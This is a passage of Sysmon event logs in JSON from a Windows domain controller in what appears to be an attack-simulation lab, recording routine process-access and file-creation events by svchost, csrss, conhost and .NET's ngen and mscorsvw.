C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7562,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7563,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.088\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010F9590C00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.088","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010F9590C00}","TargetProcessId":"4784","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7564,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:38.291\r\nProcessGuid: {90617006-42DC-5F2D-0000-001038FC0D00}\r\nProcessId: 4288\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\10c0-0\\System.Data.Linq.dll\r\nCreationUtcTime: 2020-08-07 12:02:38.291","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:38.291","ProcessGuid":"{90617006-42DC-5F2D-0000-001038FC0D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\10c0-0\\System.Data.Linq.dll","CreationUtcTime":"2020-08-07 12:02:38.291","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7565,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.369\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42DE-5F2D-0000-0010E7050E00}\r\nTargetProcessId: 4576\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.369","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42DE-5F2D-0000-0010E7050E00}","TargetProcessId":"4576","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7566,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42DE-5F2D-0000-0010E7050E00}\r\nTargetProcessId: 4576\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42DE-5F2D-0000-0010E7050E00}","TargetProcessId":"4576","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7567,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42DE-5F2D-0000-0010E7050E00}\r\nTargetProcessId: 4576\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42DE-5F2D-0000-0010E7050E00}","TargetProcessId":"4576","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7568,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.494\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42DE-5F2D-0000-0010DD090E00}\r\nTargetProcessId: 2436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.494","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42DE-5F2D-0000-0010DD090E00}","TargetProcessId":"2436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7569,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.494\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42DE-5F2D-0000-0010DD090E00}\r\nTargetProcessId: 2436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.494","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42DE-5F2D-0000-0010DD090E00}","TargetProcessId":"2436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7570,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.510\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42DE-5F2D-0000-0010DD090E00}\r\nTargetProcessId: 2436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 